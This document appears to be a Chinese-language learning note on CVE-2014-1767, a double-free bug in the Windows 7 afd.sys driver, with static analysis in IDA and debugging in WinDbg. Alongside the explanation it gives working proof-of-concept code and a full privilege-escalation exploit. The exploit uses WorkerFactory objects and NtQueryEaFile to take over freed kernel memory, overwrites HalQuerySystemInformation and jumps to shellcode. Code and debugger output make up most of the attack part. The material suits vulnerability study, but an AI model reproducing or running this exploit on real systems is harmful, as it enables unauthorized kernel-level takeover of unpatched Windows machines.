afd.sys驱动用于支持Win Socket应用程序。由于afd!AfdReturnTpInfo函数调用IoFreeMdl函数释放MDL内存的时候,没有及时将指针清空,导致再次调用的时候会再次释放相同的内存地址,导致双重释放的错误。通过WorkerFatory对象占有释放的内存,利用相关的函数可以实现一次任意地址写入,实现修改关键函数来实现提权。
操作系统:Win7 x86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
以下是该漏洞的POC代码:
void POC_CVE_2014_1767() { WSADATA WSAData; SOCKET s; SOCKADDR_IN sa; int ierr; // 初始化通信的设备句柄 WSAStartup(0x2, &WSAData); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(135); sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa)); char outBuf[100]; DWORD bytesRet; DWORD targetSize = 0x310; DWORD virtualAddress = 0x13371337; DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF - (virtualAddress & 0xFFF); DWORD inbuf1[100]; memset(inbuf1, 0, sizeof(inbuf1)); inbuf1[6] = virtualAddress; inbuf1[7] = mdlSize; inbuf1[10] = 1; // 第一次通信 DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL); DWORD inbuf2[100]; memset(inbuf2, 0, sizeof(inbuf2)); inbuf2[0] = 1; inbuf2[1] = 0x0AAAAAAA; // 第二次通信 DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL); }
触发漏洞的关键就是两次调用DeviceIoControl函数来实现用户层和内核层的I/O通信,函数定义如下,其中第二个参数为控制码,第三个参数为传入内核从的输入数据,这两个参数也是触发此次漏洞的关键。
BOOL WINAPI DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer, DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped);
对于每一个驱动,在内核中都会有一个对应的DRIVER_OBJECT对象,该结构体定义如下:
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b typedef struct _DRIVER_OBJECT { CSHORT Type; CSHORT Size; PDEVICE_OBJECT DeviceObject; ULONG Flags; PVOID DriverStart; ULONG DriverSize; PVOID DriverSection; PDRIVER_EXTENSION DriverExtension; UNICODE_STRING DriverName; PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; } DRIVER_OBJECT; typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;
其中最后一个成员MajorFunction数组保存了不同的派遣函数用于处理用户层的通信要求,其中与调用DeviceIoControl进行通信对应的派遣函数保存于MajorFunction数组的0xE下标中。
#define IRP_MJ_DEVICE_CONTROL 0x0e
从afd.sys的DriverEntry函数中可以看到驱动创建了"\\Device\\Afd"设备对象:
将MajorFunction数组下标0xE的派遣函数赋值为AfdDispatchDeviceControl函数,所以POC调用DeviceIoControl进行和内核进行通信的时候,就会调用该函数。
用户层和内核层之间的信息传递通过IRP结构体实现,该结构体定义如下:
kd> dt _IRP nt!_IRP +0x000 Type : Int2B +0x002 Size : Uint2B +0x004 MdlAddress : Ptr32 _MDL +0x008 Flags : Uint4B +0x00c AssociatedIrp : <unnamed-tag> +0x010 ThreadListEntry : _LIST_ENTRY +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : Char +0x021 PendingReturned : UChar +0x022 StackCount : Char +0x023 CurrentLocation : Char +0x024 Cancel : UChar +0x025 CancelIrql : UChar +0x026 ApcEnvironment : Char +0x027 AllocationFlags : UChar +0x028 UserIosb : Ptr32 _IO_STATUS_BLOCK +0x02c UserEvent : Ptr32 _KEVENT +0x030 Overlay : <unnamed-tag> +0x038 CancelRoutine : Ptr32 void +0x03c UserBuffer : Ptr32 Void +0x040 Tail : <unnamed-tag> +0x000 Overlay : <unnamed-tag> +0x000 DriverContext : [4] Ptr32 Void +0x010 Thread : Ptr32 _ETHREAD +0x014 AuxiliaryBuffer : Ptr32 Char +0x018 ListEntry : _LIST_ENTRY +0x020 CurrentStackLocation : Ptr32 _IO_STACK_LOCATION +0x020 PacketType : Uint4B +0x024 OriginalFileObject : Ptr32 _FILE_OBJECT
偏移0x60指向_IO_STACK_LOCATION结构体,该结构体定义如下:
kd> dt _IO_STACK_LOCATION -r nt!_IO_STACK_LOCATION +0x000 MajorFunction : UChar +0x001 MinorFunction : UChar +0x002 Flags : UChar +0x003 Control : UChar +0x004 Parameters : <unnamed-tag> +0x000 DeviceIoControl : <unnamed-tag> +0x000 OutputBufferLength : Uint4B +0x004 InputBufferLength : Uint4B +0x008 IoControlCode : Uint4B +0x00c Type3InputBuffer : Ptr32 Void +0x014 DeviceObject : Ptr32 _DEVICE_OBJECT +0x018 FileObject : Ptr32 _FILE_OBJECT +0x01c CompletionRoutine : Ptr32 long +0x020 Context : Ptr32 Void
其中偏移0x8的InputBufferLength为调用DeviceIoControl函数时指定的输入数据的长度,偏移0xC为指定的dwIoControlCode,偏移0x10保存的是输入数据的指针。AfdDispatchDeviceIoControl函数的实现如下,可以很容易看出,该函数通过IoControlCode来计算一个下标,从AfdIoctlTable中取出该下标对应的数值来和IoControlCode进行验证,通过验证后,从AfdIrpCallDispatch数值中取出要执行的函数,在调用取出的函数。
AfdIoctlTable保存了不同的IoControlCode,其中可以发现POC中使用的两个控制码:
AfdIrpCallDispatch中保存了不同的执行函数,根据POC使用的控制码对应在AfdIoctlTable中的下标可以知道两次通信会分别调用AfdTransmitFile和AfdTransmitPackets函数:
这两个函数的定义如下:
NTSTATUS __fastcall AfdTransmitFile(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation) NTSTATUS __fastcall AfdTransmitPackets(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)
根据定义可以知道,这两个函数的调用约定是__fastcall,且都有两个参数,所以上面IDA反编译的结果在调用函数部分是有错误的,这里可以直接通过看汇编代码来看相应的参数传递,这里需要记一下,IoControlCode保存在edi中,要调用的函数保存在esi中,这个后面动态调试要用。
要触发漏洞,AfdTransmitFile需要绕过三处验证,第一处和调用DeviceIoControl时第一个参数,即要通信的设备有关,当它为Socket套接字就可以绕过,第二处和第三处就是和输入数据和输入长度有关:
通过验证以后就会调用AfdTliGetIpInfo来申请tpInfo:
tpInfo通过ExAllocateFromNPagedLookasideList来申请内存,其中偏移0x20处保存了通过ExAllocatePoolWithQuotaTag申请的tpInfoElement类型的数组,这里可以看出每个成员大小为0x18,参数指定了数组元素个数,这里为3:
ExAllocateFromNPagedLookasideList的实现如下,可以看出是通过链表的方式实现,所以申请的tpInfo很有可能是上一次释放时候所指的内存:
AfdTransmitFile申请完tpInfo内存之后,会从输入数据中取出地址和长度,然后调用IoAllocateMdl申请MDL内存,保存在tpInfoElement偏移0xC处,之后会调用函数MmProbeAndLockPages:
在POC中,由输入数据指定的地址和长度是不合法的,这就会导致MnProbeAndLockPages调用出现错误,从而导致AfdReturnTpInfo函数的调用:
AfdReturnTpInfo函数会调用IoFreeMdl来释放保存在tpInfoElement偏移0xC处的MDL内存。然而这里释放之后没有及时清空指针,而tpInfo在释放之后会挂回原来的链表中,此时如果可以再次申请tpInfo就会申请到同一块内存,其中保存的数据是原来的数据,如果有办法再次申请tpInfo,且对其进行初始化之前就再次进入AfdReturnTpInfo就可以释放相同的MDL内存造成双重释放:
POC是通过AfdTransmitPackets来造成第二次释放,函数前面的部分和之前差不多,也是进行几个验证:
验证通过就会使用输入数据偏移0x4处保存的数值作为参数调用AfdTliGetTpInfp:
在POC中第二次调用时候这个参数被指定为0x0AAAAAAA,因此,当AfdTliGetTpInfo申请数组的时候,会因为需要申请的内存过大(0x18 * 0x0AAAAAAA)导致错误,调用AfdReturnToInfo。而此时的tpInfo已经从链表中成功取出上一次挂入链表的内存,且相关成员没有被初始化,这个时候在AfdReturnTpInfo中释放MDL内存的时候就会释放同一块内存。
以下是在WinDbg中,afd.sys驱动的信息,其中相关的信息和前面静态分析的结果一样:
kd> lmDvmafd Browse full module list start end module name 924f1000 9254b000 afd (deferred) Image path: \SystemRoot\system32\drivers\afd.sys Image name: afd.sys Browse all global symbols functions data Timestamp: Sat Nov 20 16:40:00 2010 (4CE78960) CheckSum: 00054E9B ImageSize: 0005A000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 kd> !drvobj afd 2 Driver object (86f16770) is for: \Driver\AFD DriverEntry: 9253563d afd!GsDriverEntry DriverStartIo: 00000000 DriverUnload: 9250a5b6 afd!AfdUnload AddDevice: 00000000 Dispatch routines: [00] IRP_MJ_CREATE 92514190 afd!AfdDispatch [01] IRP_MJ_CREATE_NAMED_PIPE 92514190 afd!AfdDispatch [02] IRP_MJ_CLOSE 92514190 afd!AfdDispatch [03] IRP_MJ_READ 92514190 afd!AfdDispatch [04] IRP_MJ_WRITE 92514190 afd!AfdDispatch [05] IRP_MJ_QUERY_INFORMATION 92514190 afd!AfdDispatch [06] IRP_MJ_SET_INFORMATION 92514190 afd!AfdDispatch [07] IRP_MJ_QUERY_EA 92514190 afd!AfdDispatch [08] IRP_MJ_SET_EA 92514190 afd!AfdDispatch [09] IRP_MJ_FLUSH_BUFFERS 92514190 afd!AfdDispatch [0a] IRP_MJ_QUERY_VOLUME_INFORMATION 92514190 afd!AfdDispatch [0b] IRP_MJ_SET_VOLUME_INFORMATION 92514190 afd!AfdDispatch [0c] IRP_MJ_DIRECTORY_CONTROL 92514190 afd!AfdDispatch [0d] IRP_MJ_FILE_SYSTEM_CONTROL 92514190 afd!AfdDispatch [0e] IRP_MJ_DEVICE_CONTROL 92512281 afd!AfdDispatchDeviceControl [0f] IRP_MJ_INTERNAL_DEVICE_CONTROL 924f2831 afd!AfdWskDispatchInternalDeviceControl [10] IRP_MJ_SHUTDOWN 92514190 afd!AfdDispatch [11] IRP_MJ_LOCK_CONTROL 92514190 afd!AfdDispatch [12] IRP_MJ_CLEANUP 92514190 afd!AfdDispatch [13] IRP_MJ_CREATE_MAILSLOT 92514190 afd!AfdDispatch [14] IRP_MJ_QUERY_SECURITY 92514190 afd!AfdDispatch [15] IRP_MJ_SET_SECURITY 92514190 afd!AfdDispatch [16] IRP_MJ_POWER 92514190 afd!AfdDispatch [17] IRP_MJ_SYSTEM_CONTROL 92510834 afd!AfdEtwDispatch [18] IRP_MJ_DEVICE_CHANGE 92514190 afd!AfdDispatch [19] IRP_MJ_QUERY_QUOTA 92514190 afd!AfdDispatch [1a] IRP_MJ_SET_QUOTA 92514190 afd!AfdDispatch [1b] IRP_MJ_PNP 92514190 afd!AfdDispatch Fast I/O routines: FastIoRead 9250a288 afd!AfdFastIoRead FastIoWrite 9250a372 afd!AfdFastIoWrite FastIoUnlockAll 9250ea3e afd!AfdSanFastUnlockAll FastIoDeviceControl 92503005 afd!AfdFastIoDeviceControl
接下来在AfdDispatchDeviceControl中的call esi处下条件断点来查看第一次通信的执行情况,编译运行POC就可以看到,此时esi保存是AfdTransmitFile函数地址,在AfdTransmit中调用IoAllocateMdl来申请MDL内存处下断点,可以看到此时要申请的内存为输入数据偏移0x18指定的地址:
继续向下运行会因为对不合法地址MnProbeAndLockPages而产生异常,进而执行IoFreeMdl,此时释放的MDL内存地址为0x87C55150:
继续上面步骤,可以看到第二次通信要执行的是AfdTransmitPackets函数,当执行ExAllocatePoolWithQuotaTag的时候,因为要申请的内存过大导致异常产生,进而执行IoFreeMdl来释放内存,而此时要释放的内存地址还是0x87C55150这个在上面刚被释放的内存,这就会导致双重释放产生BSOD错误:
继续运行系统就会出现蓝屏,以下是部分错误信息:
kd> !analyze -v Connected to Windows 7 7601 x86 compatible target at (Wed Jul 27 11:26:29.882 2022 (UTC + 8:00)), ptr64 FALSE ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* BAD_POOL_CALLER (c2) The current thread is making a bad pool request. Typically this is at a bad IRQL level or double freeing the same allocation, etc. Arguments: Arg1: 00000007, Attempt to free pool which was already freed Arg2: 00001097, Pool tag value from the pool header Arg3: 08bd0019, Contents of the first 4 bytes of the pool header Arg4: 87C55150, Address of the block of pool being deallocated PROCESS_NAME: exp.exe STACK_TEXT: nt!RtlpBreakWithStatusInstruction nt!KiBugCheckDebugBreak+0x1c nt!KeBugCheck2+0x68b nt!ExFreePoolWithTag+0x1b1 nt!IoFreeMdl+0x70 afd!AfdReturnTpInfo+0xad afd!AfdTliGetTpInfo+0x89 afd!AfdTransmitPackets+0x12e afd!AfdDispatchDeviceControl+0x3b nt!IofCallDriver+0x63 nt!IopSynchronousServiceTail+0x1f8 nt!IopXxxControlFile+0x6aa nt!NtDeviceIoControlFile+0x2a nt!KiFastCallEntry+0x12a ntdll!KiFastSystemCallRet ntdll!ZwDeviceIoControlFile+0xc KERNELBASE!DeviceIoControl+0xf6 kernel32!DeviceIoControlImplementation+0x80 exp!main+0x117 [d:\vs2017\project\exp\exp\exp.cpp @ 59]
以下是要释放的内存情况,可以看到要释放的这个内存处于Free状态:
要利用该漏洞,需要用到WokerFactory对象,该对象可以通过以下函数创建,WorkerFactory占0x78大小的内存,在加上0x8大小的_POOL_HEADER和对象头,共会占有0xA0字节:
typedef NTSTATUS(NTAPI *lpfnNtCreateWorkerFactory)(PHANDLE WorkerFactoryHandleReturn, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE CompletionPortHandle, HANDLE WorkerProcessHandle, PVOID StartRoutine, PVOID StartParameter, ULONG MaxThreadCount, SIZE_T StackReserve, SIZE_T StackCommit);
对于WorkerFactory对象,可以调用NtSetInformationWorkerFactory,该函数定义如下:
typedef NTSTATUS(NTAPI *lpfnNtSetInformationWorkerFactory)(HANDLE WorkerFactoryHandle, LONG WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength);
该函数从第三个参数中获取要写入的值,调用ObReferenceObjectByHandle获取传入的WorkerFactoryHandle句柄对应的WorkerFactory对象,并执行最后的写入操作:
成功利用该漏洞还需要NtQueryEaFile函数,该函数定义如下:
NTSTATUS __stdcall NtQueryEaFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex, BOOLEAN RestartScan);
该函数会调用调用ExAllocatePoolWithQuotaTag来申请EaListLength + 4大小的非分页内存,并将EaList指向的内存区域中的值拷贝到申请的内存区域中:
IoAllocateMdl函数申请内存的时候,要申请的内存大小由参数VirtualAddress和Length决定,所以可以通过这两个参数来决定要申请的内存大小,也就是控制触发漏洞时申请的MDL的大小:
综上可以得到以下结论:
通过控制参数可以控制触发漏洞时申请的MDL内存大小
NtCreateWokerFactory可以创建共占0xA0大小的WorkerFactory对象,且通过NtSetInformationWorkerFactory可以进行写入操作
NtQueryEaFile会申请一块可以指定大小的内存,并会向申请的内存中拷贝指定的内容
所以整个漏洞利用的步骤如下:
通过控制参数,让第一次调用DeviceIoControl进行通信时,申请并释放的MDL内存大小为0xA0
调用NtCreateWorkerFactory创建0xA0大小的WorkerFactory对象,该对象会占有上一步释放的MDL内存
调用DeviceIoControl进行第二次通信,释放掉上一步创建的WorkerFactory对象
伪造一个WorkerFactory对象,其中要对对象的起始4字节进行修改,这样可以让调用NtSetInformationWorkerFactory执行写入操作时,可以修改HalQuerySystemInformation
调用NtQueryEaFile函数,将EalistLength指定为0xA0 - 4,这样函数内部调用ExAllocateWithQuotaTag申请内存时,会申请0xA0大小的内存,就会占有第三步释放的WorkerFactory对象的内存。将EaList参数指定为伪造的WorkerFactory,这样NtQueryEaFile在调用memcpy进行内存拷贝的时候,就会将伪造的WorkerFactory对象赋拷贝到申请的内存中,即第三步释放的WorkerFactory对象占有的内存中
调用NtSetInformationWorkerFactory,将第三个参数指向ShellCode,这样NtSetInformationWorkerFactory在进行写入操作时候,会将ShellCode地址写入到想要的地址
调用目标函数实现提权
要实现提权,首先需要获取套接字,并对通信时使用的输入数据,需要调用的函数等进行初始化:
SOCKET GetSocket() { BOOL bRet = TRUE; WSADATA WSAData; SOCKET s = INVALID_SOCKET; SOCKADDR_IN sa; int ierr; if (WSAStartup(0x2, &WSAData) != 0) { ShowError("WSAStartup", WSAGetLastError()); goto exit; } s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s == INVALID_SOCKET) { ShowError("socket", WSAGetLastError()); goto exit; } memset(&sa, 0, sizeof(sa)); sa.sin_port = htons(135); sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa)); if (ierr == SOCKET_ERROR) { ShowError("connect", WSAGetLastError()); goto exit; } exit: return s; } BOOL Init_CVE_2014_1767() { BOOL bRet = TRUE; HMODULE hDll = NULL; // 加载要调用的函数 hDll = LoadLibrary("ntdll.dll"); if (!hDll) { ShowError("LoadLibrary", GetLastError()); bRet = FALSE; goto exit; } fnNtCreateWorkerFactory = (lpfnNtCreateWorkerFactory)GetProcAddress(hDll, "ZwCreateWorkerFactory"); fnNtQueryEaFile = (lpfnNtQueryEaFile)GetProcAddress(hDll, "ZwQueryEaFile"); fnNtSetInformationWorkerFactory = (lpfnNtSetInformationWorkerFactory)GetProcAddress(hDll, "ZwSetInformationWorkerFactory"); if (!fnNtCreateWorkerFactory || !fnNtQueryEaFile || !fnNtSetInformationWorkerFactory) { ShowError("GetProcAddress", GetLastError()); bRet = FALSE; goto exit; } // 初始化两次通信用到的输入数据 DWORD virtualAddress = 0x13371337; DWORD length = ((FakeObjSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000; memset(inputBuf1, 0, INPUT_SIZE * sizeof(DWORD)); inputBuf1[6] = virtualAddress; inputBuf1[7] = length; inputBuf1[0xA] = 1; memset(inputBuf2, 0, INPUT_SIZE * sizeof(DWORD)); inputBuf2[0] = 1; inputBuf2[1] = 0x0AAAAAAA; // 构造WorkerFactory的头部分 memset(FakeWorkerFactory, 0, FakeObjSize); memcpy(FakeWorkerFactory, ObjHead, 0x28); // 用于创建WorkerFactory hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4); if (!hCompletionPort) { ShowError("CreateIoCompletionPort", GetLastError()); bRet = FALSE; goto exit; } exit: return bRet; }
接下来就是执行上面的利用步骤来实现提权:
BOOL Trigger_CVE_2014_1767(HANDLE hDevice) { BOOL bRet = TRUE; PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation(); if (!pHalQuerySystemInformation) { bRet = FALSE; goto exit; } // 第一次通信,释放内存 DeviceIoControl(hDevice, 0x1207F, inputBuf1, 0x30, NULL, 0, NULL, NULL); // 创建WorkerFactory对象占有释放的内存 NTSTATUS status = fnNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0); if (!NT_SUCCESS(status)) { ShowError("fnNtCreateWorkerFactory", status); bRet = FALSE; goto exit; } // 第二次通信释放WorkerFactory对象占有的内存 DeviceIoControl(hDevice, 0x120C3, inputBuf2, 0x10, NULL, 0, NULL, NULL); BYTE bBuf[0x14] = { 0 }; // *Object = bBuf *(PDWORD)((ULONG)FakeWorkerFactory + 0x28) = (DWORD)bBuf; // *(PDWORD)(*Object + 0x10) = pHalQuerySystemInformation - 0x1C *(PDWORD)(bBuf + 0x10) = (DWORD)pHalQuerySystemInformation - 0x1C; IO_STATUS_BLOCK IoStatus; // 调用函数将构造的FakeWorkerFactory复制到释放的WorkerFactory对象占有的内存 fnNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize - 0x4, NULL, FALSE); // 调用函数让*(_DWORD *)(*(_DWORD *)(*Object + 0x10) + 0x1C) = value执行 PVOID pTarget = ShellCode; fnNtSetInformationWorkerFactory(hWorkerFactory, 8, &pTarget, sizeof(PVOID)); // 调用函数实现提权 if (!CallNtQueryIntervalProfile()) { bRet = FALSE; goto exit; } exit: return bRet; }
相关代码在:。编译运行即可成功提权:
《漏洞战争》
更多【CVE-2014-1767提权漏洞学习笔记】相关视频教程:www.yxfzedu.com